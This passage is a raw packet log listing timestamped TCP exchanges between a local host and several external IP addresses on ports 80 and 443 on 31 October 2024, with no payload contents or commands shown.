Oct 31, 2024 05:07:12.597065926 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597062111 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597086906 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597100019 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597120047 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597131968 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597143888 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597155094 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597160101 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597178936 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597183943 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597203016 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597210884 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597222090 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597234011 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597234964 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597259998 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597260952 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597291946 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597315073 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597323895 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597336054 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597345114 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597357988 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597361088 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597372055 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597384930 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597388029 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597398043 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597415924 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597435951 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597476959 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597487926 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597513914 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597533941 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597630024 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597672939 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597754002 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597765923 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597784996 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597796917 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597798109 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597809076 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597820997 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597827911 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597840071 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597843885 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597852945 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597866058 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597877026 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597883940 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597892046 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597908974 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597914934 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597928047 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597937107 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597950935 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597960949 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597971916 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597979069 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597985983 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597997904 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597997904 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.598011971 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.598021984 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.598026037 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.598038912 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.598050117 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.598052979 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.598063946 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.598078966 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.598105907 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.598123074 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.598143101 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.598155022 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.598161936 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.598187923 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.598236084 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.598248005 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.598267078 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.598278046 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.598285913 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.598290920 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.598304033 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.598320961 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.598340034 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.598356962 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.598366022 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.598403931 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.598406076 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.598442078 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.598464012 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.598475933 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.598507881 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715068102 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715080976 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715100050 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715112925 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715122938 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715137005 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715135098 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715148926 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715239048 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715239048 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715255022 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715274096 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715286016 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715296984 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715308905 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715322018 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715331078 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715332985 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715351105 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715351105 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715353012 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715367079 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715377092 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715379000 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715394974 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715399027 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715414047 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715423107 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715426922 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715442896 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715444088 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715462923 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715477943 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715478897 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715490103 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715498924 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715503931 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715519905 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715548992 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715548992 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715560913 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715579033 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715588093 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715603113 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715626001 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715646029 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715678930 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715703964 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715724945 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715744019 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715779066 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715790987 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715801001 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715816975 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715826035 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715827942 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715841055 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715847969 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715854883 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715866089 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715882063 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715905905 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.715938091 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.715981960 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:14.944439888 CET	49844	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:14.944497108 CET	443	49844	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:14.944571018 CET	49844	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:14.945713043 CET	49844	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:14.945740938 CET	443	49844	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:14.994947910 CET	49797	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:14.995229959 CET	49845	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:15.000113010 CET	80	49845	185.215.113.43	192.168.2.4
Oct 31, 2024 05:07:15.000202894 CET	49845	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:15.000247002 CET	80	49797	185.215.113.43	192.168.2.4
Oct 31, 2024 05:07:15.000298977 CET	49797	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:15.000420094 CET	49845	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:15.005419970 CET	80	49845	185.215.113.43	192.168.2.4
Oct 31, 2024 05:07:15.561362028 CET	443	49844	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:15.561454058 CET	49844	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:15.562839985 CET	49844	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:15.562875986 CET	443	49844	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:15.563122034 CET	443	49844	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:15.603678942 CET	49844	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:15.605637074 CET	49844	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:15.605674028 CET	49844	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:15.605736017 CET	443	49844	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:15.905448914 CET	80	49845	185.215.113.43	192.168.2.4
Oct 31, 2024 05:07:15.905525923 CET	49845	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:15.907340050 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:15.907630920 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:15.912456989 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:15.912525892 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:15.912612915 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:15.912616014 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:15.912662983 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:15.917531013 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.061090946 CET	443	49844	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:16.061187983 CET	443	49844	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:16.061346054 CET	49844	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:16.061444998 CET	49844	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:16.061490059 CET	443	49844	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:16.061520100 CET	49844	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:16.061536074 CET	443	49844	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:16.123434067 CET	49857	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:16.123507023 CET	443	49857	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:16.123593092 CET	49857	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:16.123881102 CET	49857	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:16.123929977 CET	443	49857	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:16.740307093 CET	443	49857	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:16.740398884 CET	49857	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:16.766798973 CET	49857	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:16.766860962 CET	443	49857	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:16.767235041 CET	443	49857	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:16.772226095 CET	49857	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:16.772331953 CET	49857	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:16.772356987 CET	443	49857	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:16.825654030 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.825676918 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.825695038 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.825707912 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.825709105 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:16.825728893 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.825738907 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:16.825738907 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:16.825743914 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.825756073 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.825767994 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.825772047 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:16.825782061 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.825792074 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.825798035 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:16.825815916 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:16.825840950 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:16.830651045 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.830694914 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.830744028 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:16.830744028 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:16.830753088 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.830796003 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:16.830818892 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.830857992 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:16.980278015 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.980307102 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.980325937 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.980353117 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.980366945 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.980370998 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:16.980406046 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:16.980676889 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.980686903 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.980698109 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.980724096 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:16.980741024 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:16.981048107 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.981059074 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.981070995 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.981082916 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.981107950 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:16.981128931 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:16.981580019 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.981621027 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.981626034 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:16.981632948 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:16.981657982 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:16.981668949 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.100218058 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.100231886 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.100243092 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.100251913 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.100261927 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.100415945 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.100446939 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.100480080 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.100497007 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.100537062 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.100537062 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.100709915 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.100719929 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.100729942 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.100745916 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.100755930 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.100784063 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.101145983 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.101190090 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.135601997 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.135627985 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.135636091 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.135689974 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.135723114 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.222749949 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.222779036 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.222790956 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.222800970 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.222811937 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.222822905 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.222979069 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.223062992 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.223074913 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.223086119 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.223098993 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.223109961 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.223136902 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.254066944 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.254080057 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.254091024 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.254204035 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.303992987 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.304006100 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.304161072 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.338295937 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.338308096 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.338318110 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.338329077 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.338339090 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.338368893 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.338402033 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.338480949 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.338530064 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.338541031 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.338551998 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.338562012 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.338594913 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.338679075 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.373208046 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.373260021 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.373426914 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.373436928 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.373454094 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.373461962 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.373464108 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.373539925 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.373585939 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.422991037 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.423005104 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.423063993 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.452696085 CET	443	49857	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:17.452760935 CET	443	49857	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:17.452792883 CET	443	49857	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:17.452828884 CET	443	49857	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:17.452832937 CET	49857	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:17.452894926 CET	443	49857	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:17.452933073 CET	49857	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:17.453347921 CET	443	49857	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:17.453373909 CET	443	49857	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:17.453402996 CET	49857	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:17.453418970 CET	443	49857	188.114.97.3	192.168.2.4
